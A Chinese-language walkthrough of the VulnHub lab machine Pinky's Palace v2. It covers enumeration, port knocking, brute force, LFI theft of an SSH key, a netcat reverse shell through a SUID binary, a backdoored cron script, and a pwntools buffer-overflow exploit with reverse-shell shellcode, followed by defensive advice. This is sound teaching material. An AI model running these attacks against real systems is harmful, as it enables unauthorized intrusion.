Vulnhub靶机渗透总结之PinkysPalaceV2
字数 1808 2025-08-24 07:48:33

PinkysPalaceV2 靶机渗透教学文档

靶机基本信息

  • 名称:Pinky's Palace: v2
  • 来源:VulnHub
  • 作者:Pink_Panther
  • 发布日期:2018年3月18日
  • 难度:Hard
  • 靶机IP:192.168.80.177
  • 攻击机IP:192.168.80.129
  • 特殊要求:需要绑定hosts(192.168.80.177 pinkydb)让图片正常加载

信息收集阶段

1. 主机发现与端口扫描

使用nmap进行扫描:

nmap 192.168.80.0/24 -sn --min-rate 1000
nmap 192.168.80.177 -sT -p- --min-rate 1000 -oA nmap_result/port_scan
nmap 192.168.80.177 -sU --top-ports 10 -oA nmap_result/port_udp_scan

扫描结果:

  • 80/tcp - Apache httpd 2.4.25
  • 4655/tcp - filtered (未知服务)
  • 7654/tcp - filtered (未知服务)
  • 31337/tcp - filtered (Elite)

2. Web服务枚举

使用whatweb进行指纹识别:

whatweb http://pinkydb

结果:WordPress 4.9.4,标题"Pinky's Blog - Just another WordPress site"

3. 目录扫描

使用feroxbuster和gobuster:

feroxbuster -u http://pinkydb/ -o feroxbuster_info.txt
gobuster dir -u http://pinkydb/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o gobuster_info

发现的重要路径:

  • /secret/bambam.txt - 包含端口号信息
  • /wordpress/wp-admin/setup-config.php - WordPress初始化页面
  • /wp-admin - WordPress后台登录页

4. WordPress信息枚举

使用wpscan:

wpscan --url http://pinkydb/ --enumerate u

发现用户:pinky1337

端口碰撞技术

1. 分析bambam.txt

文件内容包含三个端口号:8890, 7000, 666

2. 生成所有排列组合

python -c 'import itertools; print(list(itertools.permutations([8890,7000,666])))' | sed 's/),/\n/g' | tr -cd '0-9\n,' | tr ',' ' ' > knock_list.txt

3. 批量端口碰撞

编写脚本knock_assembly.sh:

#!/bin/bash
while read -r line
do
    echo '- knock -v pinkydb $line'
done < ./knock_list.txt

4. 碰撞后重新扫描

发现新开放的端口:

  • 4655/tcp - OpenSSH 7.4p1
  • 7654/tcp - nginx 1.10.3
  • 31337/tcp - Elite (可能的后门)

Web应用渗透

1. 端口7654的Web服务

访问http://pinkydb:7654/login.php发现登录页面

密码爆破

使用cewl生成字典:

cewl http://pinkydb/ -w cewl_pass.txt

使用hydra爆破:

hydra -L user_list -P cewl_pass.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid Username or Password"

成功获取凭据:pinky:Passione

文件包含漏洞

登录后发现URL存在本地文件包含漏洞:

http://pinkydb:7654/pageegap.php?1337=../path/to/file

利用漏洞下载私钥文件:

wget http://pinkydb:7654/pageegap.php?1337=../home/stefano/.ssh/id_rsa -O id_rsa

2. SSH私钥破解

使用john破解私钥密码:

/usr/share/john/ssh2john.py id_rsa > hash_rsa
john --wordlist=/usr/share/wordlists/rockyou.txt hash_rsa

获取密码:secretz101

权限提升路径

1. 初始访问 - stefano用户

使用获取的私钥登录:

ssh stefano@192.168.80.177 -p 4655 -i id_rsa

输入密码:secretz101

2. 提权到pinky用户

在stefano家目录发现SUID程序qsub:

ls -la /home/stefano/tools/qsub

分析发现程序检查环境变量TERM的值作为密码,实际值为xterm-256color

利用qsub执行命令:

./qsub '&(nc 192.168.80.129 2211 -e /bin/bash)'

获取pinky用户shell

3. 提权到demon用户

在pinky的历史命令中发现备份脚本:

cat /usr/local/bin/backup.sh

发现该脚本属于demon用户,且pinky在pinky组中

编辑脚本添加提权命令:

echo 'chmod ugo+x /tmp/bashshell' >> /usr/local/bin/backup.sh
echo 'chmod u+s /tmp/bashshell' >> /usr/local/bin/backup.sh
echo '/bashshell -p' >> /usr/local/bin/backup.sh

创建提权shell:

echo '#!/bin/bash' > /tmp/bashshell
echo '/bin/bash -p' >> /tmp/bashshell
chmod +x /tmp/bashshell

等待脚本执行后获取demon用户权限

4. 最终提权到root

发现root运行的进程:

ps aux | grep root

找到/daemon/panel程序,监听31337端口

漏洞分析

  1. 程序存在缓冲区溢出漏洞
  2. 使用IDA分析发现strcpy未检查长度
  3. 缓冲区大小为112字节

漏洞利用

  1. 确定偏移量:
pattern_create.rb -l 500
pattern_offset.rb -q [崩溃时的值]

确定RIP偏移为120字节

  1. 查找jmp rsp地址:0x400cfb

  2. 生成shellcode:

msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=192.168.80.129 LPORT=3311 -b '\x00' -f python -o shell3333
  1. 编写利用脚本:
from pwn import *

buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\x27\x14\xe6\xca\x31"
buf += b"\xf4\x33\x97\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\x4d\x3d\xbe\x53\x5b\xf6\x6c\xfd\x26"
buf += b"\x4a\xe9\xcf\x79\x63\x7b\x2e\x25\x14\xea\x30\xf1"
buf += b"\x5c\x63\x16\x76\x5c\x6f\x2c\x5b\xe4\x69\xfd\x0d"
buf += b"\x4c\xe9\xcf\x5b\xf7\x6d\xdf\xd8\xda\x8c\xeb\x69"
buf += b"\xfb\x36\xe2\xd1\x7e\xdd\x92\xa8\xbc\x88\xb8\x45"
buf += b"\x7d\x88\xe5\x42\x9c\x33\xc4\x6f\x9d\x01\x98\x66"
buf += b"\xbc\xba\x71\x28\x11\xe6\xca\x31\xf4\x33\x97\x90"

ret = p64(0x400cfb)
payload = buf + ret

r = remote("192.168.80.177", 31337)
r.recv()
r.send(payload)
print("ok")
  1. 执行脚本获取root shell

关键知识点总结

  1. 端口碰撞技术:通过特定顺序访问端口来开启隐藏服务

  2. WordPress枚举:使用wpscan发现用户和漏洞

  3. 密码爆破:结合cewl和hydra进行有效爆破

  4. 文件包含漏洞利用:通过LFI获取敏感文件

  5. SUID提权:分析SUID程序逻辑寻找提权路径

  6. 缓冲区溢出利用

    • 确定偏移量
    • 查找jmp rsp地址
    • 生成不含坏字符的shellcode
    • 构造有效payload
  7. 权限维持:通过编辑定时执行的脚本实现权限提升

防御建议

  1. 禁用不必要的SUID权限
  2. 对输入进行严格过滤,防止文件包含漏洞
  3. 使用更安全的函数替代strcpy等危险函数
  4. 定期更新WordPress及插件
  5. 使用强密码策略,避免密码重用
  6. 限制SSH私钥的使用,设置强密码
  7. 监控异常进程和网络连接
PinkysPalaceV2 靶机渗透教学文档 靶机基本信息 名称:Pinky's Palace: v2 来源:VulnHub 作者:Pink_ Panther 发布日期:2018年3月18日 难度:Hard 靶机IP:192.168.80.177 攻击机IP:192.168.80.129 特殊要求:需要绑定hosts(192.168.80.177 pinkydb)让图片正常加载 信息收集阶段 1. 主机发现与端口扫描 使用nmap进行扫描: 扫描结果: 80/tcp - Apache httpd 2.4.25 4655/tcp - filtered (未知服务) 7654/tcp - filtered (未知服务) 31337/tcp - filtered (Elite) 2. Web服务枚举 使用whatweb进行指纹识别: 结果:WordPress 4.9.4,标题"Pinky's Blog - Just another WordPress site" 3. 目录扫描 使用feroxbuster和gobuster: 发现的重要路径: /secret/bambam.txt - 包含端口号信息 /wordpress/wp-admin/setup-config.php - WordPress初始化页面 /wp-admin - WordPress后台登录页 4. WordPress信息枚举 使用wpscan: 发现用户:pinky1337 端口碰撞技术 1. 分析bambam.txt 文件内容包含三个端口号:8890, 7000, 666 2. 生成所有排列组合 3. 批量端口碰撞 编写脚本knock_ assembly.sh: 4. 碰撞后重新扫描 发现新开放的端口: 4655/tcp - OpenSSH 7.4p1 7654/tcp - nginx 1.10.3 31337/tcp - Elite (可能的后门) Web应用渗透 1. 端口7654的Web服务 访问http://pinkydb:7654/login.php发现登录页面 密码爆破 使用cewl生成字典: 使用hydra爆破: 成功获取凭据:pinky:Passione 文件包含漏洞 登录后发现URL存在本地文件包含漏洞: 利用漏洞下载私钥文件: 2. SSH私钥破解 使用john破解私钥密码: 获取密码:secretz101 权限提升路径 1. 初始访问 - stefano用户 使用获取的私钥登录: 输入密码:secretz101 2. 提权到pinky用户 在stefano家目录发现SUID程序qsub: 分析发现程序检查环境变量TERM的值作为密码,实际值为xterm-256color 利用qsub执行命令: 获取pinky用户shell 3. 提权到demon用户 在pinky的历史命令中发现备份脚本: 发现该脚本属于demon用户,且pinky在pinky组中 编辑脚本添加提权命令: 创建提权shell: 等待脚本执行后获取demon用户权限 4. 最终提权到root 发现root运行的进程: 找到/daemon/panel程序,监听31337端口 漏洞分析 程序存在缓冲区溢出漏洞 使用IDA分析发现strcpy未检查长度 缓冲区大小为112字节 漏洞利用 确定偏移量: 确定RIP偏移为120字节 查找jmp rsp地址:0x400cfb 生成shellcode: 编写利用脚本: 执行脚本获取root shell 关键知识点总结 端口碰撞技术 :通过特定顺序访问端口来开启隐藏服务 WordPress枚举 :使用wpscan发现用户和漏洞 密码爆破 :结合cewl和hydra进行有效爆破 文件包含漏洞利用 :通过LFI获取敏感文件 SUID提权 :分析SUID程序逻辑寻找提权路径 缓冲区溢出利用 : 确定偏移量 查找jmp rsp地址 生成不含坏字符的shellcode 构造有效payload 权限维持 :通过编辑定时执行的脚本实现权限提升 防御建议 禁用不必要的SUID权限 对输入进行严格过滤,防止文件包含漏洞 使用更安全的函数替代strcpy等危险函数 定期更新WordPress及插件 使用强密码策略,避免密码重用 限制SSH私钥的使用,设置强密码 监控异常进程和网络连接